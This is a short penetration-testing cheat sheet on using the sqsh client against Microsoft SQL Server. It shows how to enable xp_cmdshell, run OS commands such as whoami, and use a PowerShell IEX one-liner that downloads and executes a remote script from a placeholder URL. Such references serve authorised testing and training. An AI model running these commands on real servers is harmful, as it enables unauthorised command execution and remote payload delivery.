SQSH

Sqsh, short for SQSHell, is an open-source substitute for isql, the interactive SQL client supplied with Sybase's Adaptive Server Enterprise relational database management system.

-- Wikipedia

-> Can be used for MSSQL / SQL SERVER

Basic commands

sqsh -S <ip> -U <user> -P <pw>
xp_cmdshell 'whoami'
go
xp_cmdshell 'whoami / priv'
go
xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadString('<url>')"
go

Enable xp_cmdshell command

EXEC SP_CONFIGURE 'advanced_options', 1
reconfigure
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go

Last updated